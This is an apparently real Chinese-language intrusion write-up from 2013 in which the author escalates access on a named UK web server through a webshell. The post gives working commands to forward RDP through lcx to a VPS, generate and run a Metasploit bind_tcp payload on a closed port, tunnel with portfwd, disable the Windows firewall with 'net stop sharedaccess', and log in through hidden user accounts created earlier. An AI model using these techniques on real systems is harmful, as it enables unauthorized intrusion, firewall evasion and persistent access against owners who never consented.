Date/time:2013年,早想写这篇文章了,由于最近一直很忙,拖了半个月才抽出时间来写,这篇文章主要记录的是我在一次提权过程中遇到的问题和解决办法。在这里特别感谢@烟神、@落寞两位大哥的耐心指导与讲解。

基本信息探测:

  1. 目标站点:http://www.fo**ox.co.uk
  2. 服务器IP2*7.6*.3*.1*3(英国)
  3. 环境平台:ASP.NET
  4. 服务器系统:Microsoft-IIS/6.0
  5. 端口开放:21801354434455543389
  6. 补丁情况:服务器系统打了450+补丁(32位系统)
  7. 脚本探测:支持ASPASPX脚本,不支持PHP脚本
  8. 磁盘权限:CDRS盘里部分目录有可读/写权限

0x01 bind_tcp实战应用过程

(1) 前期测试

由于目标处于内网环境,不能直接连接3389,常规思路就是利用lcx等工具把目标的3389端口给转发出来,然后再进行连接,在C:\Inetpub\目录上传一个cmd.exe和lcx.exe,执行命令如下。

首先VPS机器监听51端口,连接用1234端口:

  1. VPS机器执行:
  2. C:\>lcx.exe -listen 51 1234
  3. 目标机器执行:
  4. /c C:\Inetpub\lcx.exe -slave {公网VPS IP} 51 127.0.0.1 3389

执行转发后发现3389端口还是连不上,我们本地机器执行的监听也没有接收到任何返回的数据,用netstat -ano命令查看了下目标当前网络连接状态如下。

  1. TCP 2*7.*9.*8.1*4:3781 1*3.2*1.*2.*1:51 SYN_SENT 4636
  2. TCP 2*7.*9.*8.1*4:3782 2*7.*9.*0.*2:1433 TIME_WAIT 0
  3. TCP 2*7.*9.*8.1*4:3783 1*3.2*1.*2.*1:51 SYN_SENT 500
  4. TCP 2*7.*9.*8.1*4:3786 1*3.2*1.*2.*1:51 SYN_SENT 1380

TCP连接为SYN_SENT状态,被拦截了,没有建立完整TCP连接,所以还是无法连接3389端口,如果是完整TCP连接就会变为了ESTABLISHED状态,出现SYN_SENT状态的常见三种情况。

  1. 目标机器不通外网(除80端口以外的任何端口);
  2. 目标开启Windows系统防火墙并设置了出入站规则;
  3. 公网IP的监听端口没有在路由器设置端口映射规则;

当前问题:
不能通过lcx等常用端口转发工具将目标机器的3389端口给转发出来SYN_SENT,猜测应该是开启了Windows系统自带防火墙的原因。

解决办法:
利用MSF工具里的bind_tcp正向连接生成一个EXE攻击载荷, 得到目标Session会话后在Meterpreter中使用portfwd命令进行端口转发即可。

注意事项:
可以先用MSF的reverse_tcp反向连接,如果被拦截后再尝试更换端口80、443、8080,这几个端口很少会被拦截,因为我们经常要与这几个端口进行通讯,所以基本很少有人会在防火墙里设置这几个端口的出入站规则,但有时也会出现个别例外情况,如:一些重要生产环境就会设置不允许连接外网。

(2) 绕过方式

在我对目标进行测试时发现reverse_tcp的大部分端口都被拦截了,这时可以尝试用Nmap扫描目标机器状态为closed的端口来进行bind_tcp,只有状态为closed的端口才能进行bind_tcp(感谢@烟神大哥给提供的新思路,@落寞大哥帮助在本地做复现测试)!
1.png

注:状态closed为端口关闭,但数据有到达主机,只是没有程序在端口上监控,但是它们随时都有可能开放,也有可能是目标防火墙把某些对外开放的端口给过滤掉了。

通过Nmap扫描状态为closed的端口有:25、53、110、113、7070,接下来我们使用bind_tcp正向连接来生成一个EXE攻击载荷文件,命令如下。

  1. msfpayload windows/meterpreter/bind_tcp LPORT=53 X > /root/Desktop/test.exe

2.png

先把我们生成好的test.exe载荷文件上传至目标机器的可读/写目录下,然后进入到MSF完成所有必填的配置选项,命令如下。

  1. use exploit/mutil/handler //加载监听模块
  2. set PAYLOADY windows/meterpreter/bind_tcp //设置攻击载荷
  3. set RHOST 2*7.6*.3*.1*3 //设置被攻击外网IP
  4. set LPORT 53 //设置远程监听端口
  5. exploit //exploit执行监听

3.png

将必填的配置选项完成后,执行exploit命令进行监听,然后在Webshell执行C:\Inetpub\test.exe载荷文件,如果成功的话就会返回一个bind_tcp的Meterpreter会话。
4.png

注:当我们在Webshell执行test.exe载荷文件后,目标机器就会开放一个53监听端口,并等待我们去连接。这里不管我们本地是内网还是外网,用bind_tcp时可以不用去路由器里做端口映射,因为是我们主动去连接对方目标服务器的53端口。

测试了一些常用命令,有的能执行,有的不能,还有的在执行后会断开会话。出现这种情况应该是被目标机器里的反病毒软件给拦截了,比如我们执行的getsystem命令,返回了以下错误。

  1. meterpreter > getsystem
  2. [*] 2*7.*9.*8.1*3 - Meterpreter session 3 closed. Reason: Died
  3. [-] Error running command getsystem: Rex::TimeoutError Operation timed out.

注:半个月前测试的时候这些命令都可以执行的,可能是管理员又做了什么安全设置了,这台服务器的管理员已经做了几次安全了,这次看来是不行了,就先不管它了,下次有时间再来测试吧。

不过还好以前创建的隐藏用户都还在,那么我们就直接使用portfwd命令进行端口转发,命令如下。

  1. meterpreter > portfwd add -l 1234 -p 3389 -r 127.0.0.1

5.png

执行完端口转发后直接使用BackTrack5下的rdesktop客户端程序去连接目标的3389端口,命令如下。

  1. root@devil:~# rdesktop -g 870 127.0.0.1:1234

6.png

0x02 bind_tcp实战应用过程-1

(1) 前期测试

这次遇到的问题比较奇葩,在这里简单记录一下:在转发3389端口时遇到的问题,测试了以前总结的方法都被失败了,也测试了各种常用监听端口:110,443,1040,8080,还是不行。

  1. 1. Lcx
  2. 2. Aspx Client
  3. 3.1 MSF_Reverse_tcp
  4. 3.2 MSF_Bind_tcp
  5. 3.3 MSF_Reverse_http
  6. 3.3.1 MSF_Reverse_https
  7. 4. reDuh_GuiHttp_Tunna

根据对目标机器的分析,在WebShell上对多个大站、公网IP进行Ping测试,确定ping不通baidu.com和公网IP地址(遇到过不能Ping域名,但可以Ping公网IP地址的)。
2.png

笔者根据以往的经验大致断定应该是有防火墙之类的东西给拦了,没有为我们建立一个完整TCP连接。
1.png

以前写的一篇文章跟这次遇到的场景有些类似,但那是直接用Nmap扫描端口状态为close的端口来作为监听端口,然后用MSF的bind_tcp正向连接绕过防火墙限制获取Meterpreter会话。

而在这次的测试中并不是那么顺利,使用Nmap对目标IP进行扫描后发现只开了80端口,并没有状态为close的端口,所以不能利用那篇文章中写的方法来绕过防火墙限制获取会话。
3.png

(2) 绕过方式

这里就不详细记录测试过程了,直接说一下绕过方法:在中国菜刀虚拟终端中执行以下命令将目标机器的防火墙先给关掉,注:03和08关闭防火墙的命令不一样哦。

  1. net stop sharedaccess

4.png

然后再使用Namp对目标IP进行扫描,这时可以看到已经多了2个端口状态为close的端口:53、443
5.png

现在就可以用MSF正向连接方式来获取目标机器会话了。还有一种利用方式就是端口复用,但会将IIS服务停掉,把终端服务的3389端口改为80端口,这样动静太大,所以没去尝试这种。
6.png


public.png